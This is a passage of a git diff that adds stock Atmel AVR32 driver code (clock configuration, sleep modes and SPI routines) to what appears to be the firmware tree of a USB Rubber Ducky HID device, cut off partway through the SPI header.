AVR32SFW_INPUT_CHECK. + * + * \note: since it is dynamically computing the appropriate field values of the + * configuration registers from the parameters structure, this function is not + * optimal in terms of code size. For a code size optimal solution, it is better + * to create a new function from pcl_configure_clocks_rc120m() and modify it to + * use preprocessor computation from pre-defined target frequencies. + * + * \param param pointer on the configuration structure. + * + * \retval 0 Success. + * \retval <0 The configuration cannot be performed. + */ +extern long int pcl_configure_clocks_rc120m(pcl_freq_param_t *param); + +/*! \brief Automatically configure the CPU, PBA, PBB, and HSB clocks using the OSC0 osc as main source clock + * + * This function needs some parameters stored in a pcl_freq_param_t structure: + * - cpu_f and pba_f and pbb_f are the wanted frequencies, + * - osc0_f is the oscillator 0's external crystal (or external clock) on-board frequency (e.g. FOSC0), + * - osc0_startup is the oscillator 0's external crystal (or external clock) startup time (e.g. OSC0_STARTUP). + * + * Supported main clock sources: PCL_MC_OSC0 + * + * Supported synchronous clocks frequencies: + * (these obviously depend on the OSC0 frequency; we'll take 16MHz as an example) + * 16MHz, 8MHz, 4MHz, 2MHz, 1MHz, 500kHz, 250kHz, 125kHz, 62.5kHz. + * + * \note: by default, this implementation doesn't perform thorough checks on the + * input parameters. To enable the checks, define AVR32SFW_INPUT_CHECK. + * + * \note: since it is dynamically computing the appropriate field values of the + * configuration registers from the parameters structure, this function is not + * optimal in terms of code size. For a code size optimal solution, it is better + * to create a new function from pcl_configure_clocks_osc0() and modify it to use + * preprocessor computation from pre-defined target frequencies. + * + * \param param pointer on the configuration structure. + * + * \retval 0 Success. + * \retval <0 The configuration cannot be performed. + */ +extern long int pcl_configure_clocks_osc0(pcl_freq_param_t *param); + +/*! \brief Automatically configure the CPU, PBA, PBB, and HSB clocks using the DFLL0 as main source clock + * + * This function needs some parameters stored in a pcl_freq_param_t structure: + * - cpu_f and pba_f and pbb_f are the wanted frequencies, + * - dfll_f is the target DFLL frequency to set-up + * + * \note: when the DFLL0 is to be used as main source clock for the synchronous clocks, + * the target frequency of the DFLL should be chosen to be as high as possible + * within the specification range (for stability reasons); the target cpu and pbx + * frequencies will then be reached by appropriate division ratio. + * + * Supported main clock sources: PCL_MC_DFLL0 + * + * Supported synchronous clocks frequencies: + * (these obviously depend on the DFLL target frequency; we'll take 100MHz as an example) + * 50MHz, 25MHz, 12.5MHz, 6.25MHz, 3.125MHz, 1562.5kHz, 781.25kHz, 390.625kHz. + * + * \note: by default, this implementation doesn't perform thorough checks on the + * input parameters. To enable the checks, define AVR32SFW_INPUT_CHECK. + * + * \note: since it is dynamically computing the appropriate field values of the + * configuration registers from the parameters structure, this function is not + * optimal in terms of code size. For a code size optimal solution, it is better + * to create a new function from pcl_configure_clocks_dfll0() and modify it to + * use preprocessor computation from pre-defined target frequencies. + * + * \param param pointer on the configuration structure. + * + * \retval 0 Success. + * \retval <0 The configuration cannot be performed. + */ +extern long int pcl_configure_clocks_dfll0(pcl_freq_param_t *param); + +/*! \brief Switch the main clock source to Osc0 configured in crystal mode + * + * \param osc The oscillator to enable and switch to. + * \param fcrystal Oscillator external crystal frequency (Hz) + * \param startup Oscillator startup time. + * + * \return Status. + * \retval 0 Success. + * \retval <0 An error occured. + */ +extern long int pcl_switch_to_osc(pcl_osc_t osc, unsigned int fcrystal, unsigned int startup); + +/*! \brief Enable the clock of a module. + * + * \param module The module to clock (use one of the defines in the part-specific + * header file under "toolchain folder"/avr32/inc(lude)/avr32/; depending on the + * clock domain, look for the sections "CPU clocks", "HSB clocks", "PBx clocks" + * or look in the module section). + * + * \return Status. + * \retval 0 Success. + * \retval <0 An error occured. + */ +#ifndef AVR32_PM_VERSION_RESETVALUE +// Implementation for UC3A, UC3A3, UC3B parts. +#define pcl_enable_module(module) pm_enable_module(&AVR32_PM, module) +#else +// Implementation for UC3C, UC3L parts. +#define pcl_enable_module(module) pm_enable_module(module) +#endif + +/*! \brief Disable the clock of a module. + * + * \param module The module to shut down (use one of the defines in the part-specific + * header file under "toolchain folder"/avr32/inc(lude)/avr32/; depending on the + * clock domain, look for the sections "CPU clocks", "HSB clocks", "PBx clocks" + * or look in the module section). + * + * \return Status. + * \retval 0 Success. + * \retval <0 An error occured. + */ +#ifndef AVR32_PM_VERSION_RESETVALUE +// Implementation for UC3A, UC3A3, UC3B parts. +#define pcl_disable_module(module) pm_disable_module(&AVR32_PM, module) +#else +// Implementation for UC3C, UC3L parts. +#define pcl_disable_module(module) pm_disable_module(module) +#endif + +/*! \brief Configure the USB Clock + * + * + * \return Status. + * \retval 0 Success. + * \retval <0 An error occured. + */ +extern long int pcl_configure_usb_clock(void); + +//! @} + +/*! \name Power Management + */ +//! @{ +/*! + * \brief Read the content of the GPLP registers + * \param gplp GPLP register index (0,1,... depending on the number of GPLP registers for a given part) + * + * \return The content of the chosen GPLP register. + */ +extern unsigned long pcl_read_gplp(unsigned long gplp); + + +/*! + * \brief Write into the GPLP registers + * \param gplp GPLP register index (0,1,... depending on the number of GPLP registers for a given part) + * \param value Value to write + */ +extern void pcl_write_gplp(unsigned long gplp, unsigned long value); + +//! @} + +#ifdef __cplusplus +} +#endif + +#endif // _POWER_CLOCKS_LIB_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/pm/sleep.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/pm/sleep.h new file mode 100755 index 0000000..ccd11b0 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/pm/sleep.h @@ -0,0 +1,149 @@ +/** + * \file + * + * \brief Sleep mode access + * + * Copyright (C) 2010 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ +#ifndef SLEEP_H +#define SLEEP_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include + +#ifndef AVR32_PM_SMODE_GMCLEAR_MASK +#define AVR32_PM_SMODE_GMCLEAR_MASK 0x80 +#else +#warning Define already present in the system toolchain header files! +#endif + +/** + * \defgroup sleep_group Power Manager (PM) + * + * This is a stub on the AVR UC3 Power Manager(PM) for the sleepmgr service. + * + * \note To minimize the code overhead, these functions do not feature + * interrupt-protected access since they are likely to be called inside + * interrupt handlers or in applications where such protection is not + * necessary. If such protection is needed, it must be ensured by the calling + * code. + * + * @{ + */ + +#if defined(__DOXYGEN__) +/** + * \brief Sets the MCU in the specified sleep mode + * \param sleep_mode Sleep mode to set. + */ +#endif + +#if (UC3A || UC3B) // For AVR UC3 A0/A1, UC3 B, UC3 A3 series + +# ifndef AVR32_PM_SMODE_DEEPSTOP +# define AVR32_PM_SMODE_DEEPSTOP 0x00000004 +# endif +# include "pm.h" +#elif UC3C // For AVR UC3 C series +# include "pm_uc3c.h" +#elif UC3D // For AVR UC3 D series +# include "pm_uc3d.h" +#elif UC3L // For AVR UC3 L series +# include "pm_uc3l.h" +#else +# error Unsupported AVR UC3 series. +#endif + +static inline void pm_sleep(int sleep_mode) +{ + switch (sleep_mode) { + case AVR32_PM_SMODE_IDLE: + SLEEP(AVR32_PM_SMODE_IDLE); + break; + case AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_IDLE: + SLEEP(AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_IDLE); + break; + case AVR32_PM_SMODE_FROZEN: + SLEEP(AVR32_PM_SMODE_FROZEN); + break; + case AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_FROZEN: + SLEEP(AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_FROZEN); + break; + case AVR32_PM_SMODE_STANDBY: + SLEEP(AVR32_PM_SMODE_STANDBY); + break; + case AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_STANDBY: + SLEEP(AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_STANDBY); + break; + case AVR32_PM_SMODE_STOP: + SLEEP(AVR32_PM_SMODE_STOP); + break; + case AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_STOP: + SLEEP(AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_STOP); + break; + case AVR32_PM_SMODE_DEEPSTOP: + SLEEP(AVR32_PM_SMODE_DEEPSTOP); + break; + case AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_DEEPSTOP: + SLEEP(AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_DEEPSTOP); + break; + case AVR32_PM_SMODE_STATIC: + SLEEP(AVR32_PM_SMODE_STATIC); + break; + case AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_STATIC: + SLEEP(AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_STATIC); + break; +#if UC3L + case AVR32_PM_SMODE_SHUTDOWN: + SLEEP(AVR32_PM_SMODE_SHUTDOWN); + break; + case AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_SHUTDOWN: + SLEEP(AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_SHUTDOWN); + break; +#endif + default: + break; + } +} + + +//! @} + +#ifdef __cplusplus +} +#endif + +#endif /* SLEEP_H */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/spi/spi.c b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/spi/spi.c new file mode 100755 index 0000000..09c1a8e --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/spi/spi.c @@ -0,0 +1,423 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief SPI driver for AVR32 UC3. + * + * This file defines a useful set of functions for the SPI interface on AVR32 + * devices. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices with an SPI module can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#include "spi.h" + +#ifdef FREERTOS_USED + +#include "FreeRTOS.h" +#include "semphr.h" + +#endif + + +/*! \name SPI Writable Bit-Field Registers + */ +//! @{ + +typedef union +{ + unsigned long cr; + avr32_spi_cr_t CR; +} u_avr32_spi_cr_t; + +typedef union +{ + unsigned long mr; + avr32_spi_mr_t MR; +} u_avr32_spi_mr_t; + +typedef union +{ + unsigned long tdr; + avr32_spi_tdr_t TDR; +} u_avr32_spi_tdr_t; + +typedef union +{ + unsigned long ier; + avr32_spi_ier_t IER; +} u_avr32_spi_ier_t; + +typedef union +{ + unsigned long idr; + avr32_spi_idr_t IDR; +} u_avr32_spi_idr_t; + +typedef union +{ + unsigned long csr; + avr32_spi_csr0_t CSR; +} u_avr32_spi_csr_t; + +//! @} + + +#ifdef FREERTOS_USED + +//! The SPI mutex. +static xSemaphoreHandle xSPIMutex; + +#endif + + +int16_t getBaudDiv(const unsigned int baudrate, uint32_t pba_hz) +{ + int baudDiv = (pba_hz + baudrate / 2) / baudrate; + + if (baudDiv <= 0 || baudDiv > 255) { + return -1; + } + + return baudDiv; +} + +spi_status_t spi_initSlave(volatile avr32_spi_t *spi, + unsigned char bits, + unsigned char spi_mode) +{ + if (spi_mode > 3 || + bits < 8 || bits > 16) { + return SPI_ERROR_ARGUMENT; + } + + // Reset. + spi->cr = AVR32_SPI_CR_SWRST_MASK; + + // Will use CSR0 offsets; these are the same for CSR0 to CSR3. + spi->csr0 = ((spi_mode >> 1) << AVR32_SPI_CSR0_CPOL_OFFSET) | + (((spi_mode & 0x1) ^ 0x1) << AVR32_SPI_CSR0_NCPHA_OFFSET) | + ((bits - 8) << AVR32_SPI_CSR0_BITS_OFFSET); + + return SPI_OK; +} + + +spi_status_t spi_initTest(volatile avr32_spi_t *spi) +{ + // Reset. + spi->cr = AVR32_SPI_CR_SWRST_MASK; + spi->mr |= AVR32_SPI_MR_MSTR_MASK | // Master Mode. + AVR32_SPI_MR_LLB_MASK; // Local Loopback. + + return SPI_OK; +} + + +spi_status_t spi_initMaster(volatile avr32_spi_t *spi, const spi_options_t *options) +{ + u_avr32_spi_mr_t u_avr32_spi_mr; + + if (options->modfdis > 1) { + return SPI_ERROR_ARGUMENT; + } + + // Reset. + spi->cr = AVR32_SPI_CR_SWRST_MASK; + + // Master Mode. + u_avr32_spi_mr.mr = spi->mr; + u_avr32_spi_mr.MR.mstr = 1; + u_avr32_spi_mr.MR.modfdis = options->modfdis; + u_avr32_spi_mr.MR.llb = 0; + u_avr32_spi_mr.MR.pcs = (1 << AVR32_SPI_MR_PCS_SIZE) - 1; + spi->mr = u_avr32_spi_mr.mr; + + return SPI_OK; +} + + +spi_status_t spi_selectionMode(volatile avr32_spi_t *spi, + unsigned char variable_ps, + unsigned char pcs_decode, + unsigned char delay) +{ + u_avr32_spi_mr_t u_avr32_spi_mr; + + if (variable_ps > 1 || + pcs_decode > 1) { + return SPI_ERROR_ARGUMENT; + } + + u_avr32_spi_mr.mr = spi->mr; + u_avr32_spi_mr.MR.ps = variable_ps; + u_avr32_spi_mr.MR.pcsdec = pcs_decode; + u_avr32_spi_mr.MR.dlybcs = delay; + spi->mr = u_avr32_spi_mr.mr; + + return SPI_OK; +} + + +spi_status_t spi_selectChip(volatile avr32_spi_t *spi, unsigned char chip) +{ +#ifdef FREERTOS_USED + while (pdFALSE == xSemaphoreTake(xSPIMutex, 20)); +#endif + + // Assert all lines; no peripheral is selected. + spi->mr |= AVR32_SPI_MR_PCS_MASK; + + if (spi->mr & AVR32_SPI_MR_PCSDEC_MASK) { + // The signal is decoded; allow up to 15 chips. + if (chip > 14) { + return SPI_ERROR_ARGUMENT; + } + + spi->mr &= ~AVR32_SPI_MR_PCS_MASK | (chip << AVR32_SPI_MR_PCS_OFFSET); + } else { + if (chip > 3) { + return SPI_ERROR_ARGUMENT; + } + + spi->mr &= ~(1 << (AVR32_SPI_MR_PCS_OFFSET + chip)); + } + + return SPI_OK; +} + + +spi_status_t spi_unselectChip(volatile avr32_spi_t *spi, unsigned char chip) +{ + unsigned int timeout = SPI_TIMEOUT; + + while (!(spi->sr & AVR32_SPI_SR_TXEMPTY_MASK)) { + if (!timeout--) { + return SPI_ERROR_TIMEOUT; + } + } + + // Assert all lines; no peripheral is selected. + spi->mr |= AVR32_SPI_MR_PCS_MASK; + + // Last transfer, so deassert the current NPCS if CSAAT is set. + spi->cr = AVR32_SPI_CR_LASTXFER_MASK; + +#ifdef FREERTOS_USED + xSemaphoreGive(xSPIMutex); +#endif + + return SPI_OK; +} + + +spi_status_t spi_setupChipReg(volatile avr32_spi_t *spi, + const spi_options_t *options, + uint32_t pba_hz) +{ + u_avr32_spi_csr_t u_avr32_spi_csr; + + if (options->spi_mode > 3 || + options->stay_act > 1 || + options->bits < 8 || options->bits > 16) { + return SPI_ERROR_ARGUMENT; + } + + int baudDiv = getBaudDiv(options->baudrate, pba_hz); + + if (baudDiv < 0) { + return SPI_ERROR_ARGUMENT; + } + + // Will use CSR0 offsets; these are the same for CSR0 to CSR3. + u_avr32_spi_csr.csr = 0; + u_avr32_spi_csr.CSR.cpol = options->spi_mode >> 1; + u_avr32_spi_csr.CSR.ncpha = (options->spi_mode & 0x1) ^ 0x1; + u_avr32_spi_csr.CSR.csaat = options->stay_act; + u_avr32_spi_csr.CSR.bits = options->bits - 8; + u_avr32_spi_csr.CSR.scbr = baudDiv; + u_avr32_spi_csr.CSR.dlybs = options->spck_delay; + u_avr32_spi_csr.CSR.dlybct = options->trans_delay; + + switch(options->reg) { + case 0: + spi->csr0 = u_avr32_spi_csr.csr; + break; + case 1: + spi->csr1 = u_avr32_spi_csr.csr; + break; + case 2: + spi->csr2 = u_avr32_spi_csr.csr; + break; + case 3: + spi->csr3 = u_avr32_spi_csr.csr; + break; + default: + return SPI_ERROR_ARGUMENT; + } + +#ifdef FREERTOS_USED + if (!xSPIMutex) + { + // Create the SPI mutex. + vSemaphoreCreateBinary(xSPIMutex); + if (!xSPIMutex) + { + while(1); + } + } +#endif + + return SPI_OK; +} + + +void spi_enable(volatile avr32_spi_t *spi) +{ + spi->cr = AVR32_SPI_CR_SPIEN_MASK; +} + + +void spi_disable(volatile avr32_spi_t *spi) +{ + spi->cr = AVR32_SPI_CR_SPIDIS_MASK; +} + + +int spi_is_enabled(volatile avr32_spi_t *spi) +{ + return (spi->sr & AVR32_SPI_SR_SPIENS_MASK) != 0; +} + +unsigned char spi_writeRegisterEmptyCheck(volatile avr32_spi_t *spi) +{ + return ((spi->sr & AVR32_SPI_SR_TDRE_MASK) != 0); +} + + +spi_status_t spi_write(volatile avr32_spi_t *spi, uint16_t data) +{ + unsigned int timeout = SPI_TIMEOUT; + + while (!(spi->sr & AVR32_SPI_SR_TDRE_MASK)) { + if (!timeout--) { + return SPI_ERROR_TIMEOUT; + } + } + + spi->tdr = data << AVR32_SPI_TDR_TD_OFFSET; + + return SPI_OK; +} + + +spi_status_t spi_variableSlaveWrite(volatile avr32_spi_t *spi, uint16_t data, + uint8_t pcs, uint8_t lastxfer) +{ + unsigned int timeout = SPI_TIMEOUT; + + if (pcs > 14 || lastxfer > 1) { + return SPI_ERROR_ARGUMENT; + } + + while (!(spi->sr & AVR32_SPI_SR_TDRE_MASK)) { + if (!timeout--) { + return SPI_ERROR_TIMEOUT; + } + } + + spi->tdr = (data << AVR32_SPI_TDR_TD_OFFSET) | + (pcs << AVR32_SPI_TDR_PCS_OFFSET) | + (lastxfer << AVR32_SPI_TDR_LASTXFER_OFFSET); + + return SPI_OK; +} + + +unsigned char spi_writeEndCheck(volatile avr32_spi_t *spi) +{ + return ((spi->sr & AVR32_SPI_SR_TXEMPTY_MASK) != 0); +} + + +unsigned char spi_readRegisterFullCheck(volatile avr32_spi_t *spi) +{ + return ((spi->sr & AVR32_SPI_SR_RDRF_MASK) != 0); +} + + +spi_status_t spi_read(volatile avr32_spi_t *spi, unsigned short *data) +{ + unsigned int timeout = SPI_TIMEOUT; + + while ((spi->sr & (AVR32_SPI_SR_RDRF_MASK | AVR32_SPI_SR_TXEMPTY_MASK)) != + (AVR32_SPI_SR_RDRF_MASK | AVR32_SPI_SR_TXEMPTY_MASK)) { + if (!timeout--) { + return SPI_ERROR_TIMEOUT; + } + } + + *data = spi->rdr >> AVR32_SPI_RDR_RD_OFFSET; + + return SPI_OK; +} + + +unsigned char spi_getStatus(volatile avr32_spi_t *spi) +{ + spi_status_t ret = SPI_OK; + unsigned long sr = spi->sr; + + if (sr & AVR32_SPI_SR_OVRES_MASK) { + ret = SPI_ERROR_OVERRUN; + } + + if (sr & AVR32_SPI_SR_MODF_MASK) { + ret += SPI_ERROR_MODE_FAULT; + } + + if (ret == (SPI_ERROR_OVERRUN + SPI_ERROR_MODE_FAULT)) { + return SPI_ERROR_OVERRUN_AND_MODE_FAULT; + } + else if (ret > 0) { + return ret; + } else { + return SPI_OK; + } +} diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/spi/spi.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/spi/spi.h new file mode 100755 index 0000000..671e92f --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/spi/spi.h @@ -0,0 +1,698 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief SPI driver for AVR32 UC3. + * + * This file defines a useful set of functions for the SPI interface on AVR32 + * devices. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices with an SPI module can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _SPI_H_ +#define _SPI_H_ + +#include "compiler.h" + +//! Time-out value (number of attempts). +#define SPI_TIMEOUT 15000 + +//! Spi Mode 0. +#define SPI_MODE_0 0 + +//! Spi Mode 1. +#define SPI_MODE_1 1 + + +//! Status codes used by the SPI driver. +typedef enum +{ + SPI_ERROR = -1, + SPI_OK = 0, + SPI_ERROR_TIMEOUT = 1, + SPI_ERROR_ARGUMENT, + SPI_ERROR_OVERRUN, + SPI_ERROR_MODE_FAULT, + SPI_ERROR_OVERRUN_AND_MODE_FAULT +} spi_status_t; + +//! Option structure for SPI channels. +typedef struct +{ + //! The SPI channel to set up. + uint8_t reg; + + //! Preferred baudrate for the SPI. + uint32_t baudrate; + + //! Number of bits in each character (8 to 16). + uint8_t bits; + //! Delay before first clock pulse after selecting slave (in PBA clock periods). + uint8_t spck_delay; + + //! Delay between each transfer/character (in PBA clock periods). + uint8_t trans_delay; + + //! Sets this chip to stay active after last transfer to it. + uint8_t stay_act; + + //! Which SPI mode to use when transmitting. + uint8_t spi_mode; + + //! Disables the mode fault detection. + //! With this bit cleared, the SPI master mode will disable itself if another + //! master tries to address it. + uint8_t modfdis; +} spi_options_t; + +/*! \brief Reset the SPI. + * + * \param spi Base address of the SPI instance. + * + */ +static inline void spi_reset(volatile avr32_spi_t *spi) +{ + spi->cr = AVR32_SPI_CR_SWRST_MASK; +} + +/*! \brief Set Master Mode of the SPI. + * + * \param spi Base address of the SPI instance. + */ +static inline void spi_set_master_mode(volatile avr32_spi_t *spi) +{ + spi->MR.mstr = 1; +} + +/*! \brief Set Slave Mode of the SPI. + * + * \param spi Base address of the SPI instance. + */ +static inline void spi_set_slave_mode(volatile avr32_spi_t *spi) +{ + spi->MR.mstr = 0; +} + +/*! \brief Enable Modfault of the SPI. + * + * \param spi Base address of the SPI instance. + */ +static inline void spi_enable_modfault(volatile avr32_spi_t *spi) +{ + spi->MR.modfdis = 0; +} + +/*! \brief Disable Modfault of the SPI. + * + * \param spi Base address of the SPI instance. + */ +static inline void spi_disable_modfault(volatile avr32_spi_t *spi) +{ + spi->MR.modfdis = 1; +} + +/*! \brief Enable Loopback of the SPI. + * + * \param spi Base address of the SPI instance. + */ +static inline void spi_enable_loopback(volatile avr32_spi_t *spi) +{ + spi->MR.llb = 1; +} + +/*! \brief Disable Loopback of the SPI. + * + * \param spi Base address of the SPI instance. + */ +static inline void spi_disable_loopback(volatile avr32_spi_t *spi) +{ + spi->MR.llb = 0; +} + +/*! \brief Enable Chip Select Decoding of the SPI. + * + * \param spi Base address of the SPI instance. + */ +static inline void spi_enable_chipselect_decoding(volatile avr32_spi_t *spi) +{ + spi->MR.pcsdec = 1; +} + +/*! \brief Disable Chip Select Decoding of the SPI. + * + * \param spi Base address of the SPI instance. + */ +static inline void spi_disable_chipselect_decoding(volatile avr32_spi_t *spi) +{ + spi->MR.pcsdec = 0; +} + +/*! \brief Set Chip Select of the SPI. + * + * \param spi Base address of the SPI instance. + * \param chip_select Chip Select. + */ +static inline void spi_set_chipselect(volatile avr32_spi_t *spi,uint8_t chip_select) +{ + spi->MR.pcs = chip_select; +} + +/*! \brief Enable Variable Chip Select of the SPI. + * + * \param spi Base address of the SPI instance. + */ +static inline void spi_enable_variable_chipselect(volatile avr32_spi_t *spi) +{ + spi->MR.ps = 1; +} + +/*! \brief Disable Variable Chip Select of the SPI. + * + * \param spi Base address of the SPI instance. + */ +static inline void spi_disable_variable_chipselect(volatile avr32_spi_t *spi) +{ + spi->MR.ps = 0; +} + +/*! \brief Set Delay Between Chip Selects of the SPI. + * + * \param spi Base address of the SPI instance. + * \param delay Delay. + */ +static inline void spi_set_delay(volatile avr32_spi_t *spi,uint8_t delay) +{ + spi->MR.dlybcs = delay; +} + +/*! \brief Set Delay Between Consecutive Transfer on a Chip Selects of the SPI. + * + * \param spi Base address of the SPI instance. + * \param chip_select Chip Select. + * \param delay Delay. + */ + +static inline void spi_set_chipselect_delay_bct(volatile avr32_spi_t *spi, + uint8_t chip_select, uint8_t delay) +{ + Assert(chip_select>3); + switch(chip_select) { + case 0: + spi->CSR0.dlybct = delay; + break; + case 1: + spi->CSR1.dlybct = delay; + break; + case 2: + spi->CSR2.dlybct = delay; + break; + case 3: + spi->CSR3.dlybct = delay; + break; + } +} + +/*! \brief Set Delay Before SPCK on a Chip Selects of the SPI. + * + * \param spi Base address of the SPI instance. + * \param chip_select Chip Select. + * \param delay Delay. + */ +static inline void spi_set_chipselect_delay_bs(volatile avr32_spi_t *spi, + uint8_t chip_select, uint8_t delay) +{ + Assert(chip_select>3); + switch(chip_select) { + case 0: + spi->CSR0.dlybs = delay; + break; + case 1: + spi->CSR1.dlybs = delay; + break; + case 2: + spi->CSR2.dlybs = delay; + break; + case 3: + spi->CSR3.dlybs = delay; + break; + } +} + +/*! \brief Set Delay Before SPCK on a Chip Selects of the SPI. + * + * \param spi Base address of the SPI instance. + * \param chip_select Chip Select. + * \param len Bits per Transfer [8...16]. + */ +static inline void spi_set_bits_per_transfer(volatile avr32_spi_t *spi, uint8_t chip_select, + uint8_t len) +{ + Assert((len>8)&&(len<16)); + switch(chip_select) { + case 0: + spi->CSR0.bits = len - 8; + break; + case 1: + spi->CSR1.bits = len - 8; + break; + case 2: + spi->CSR2.bits = len - 8; + break; + case 3: + spi->CSR3.bits = len - 8; + break; + } +} + +/*! \brief Set 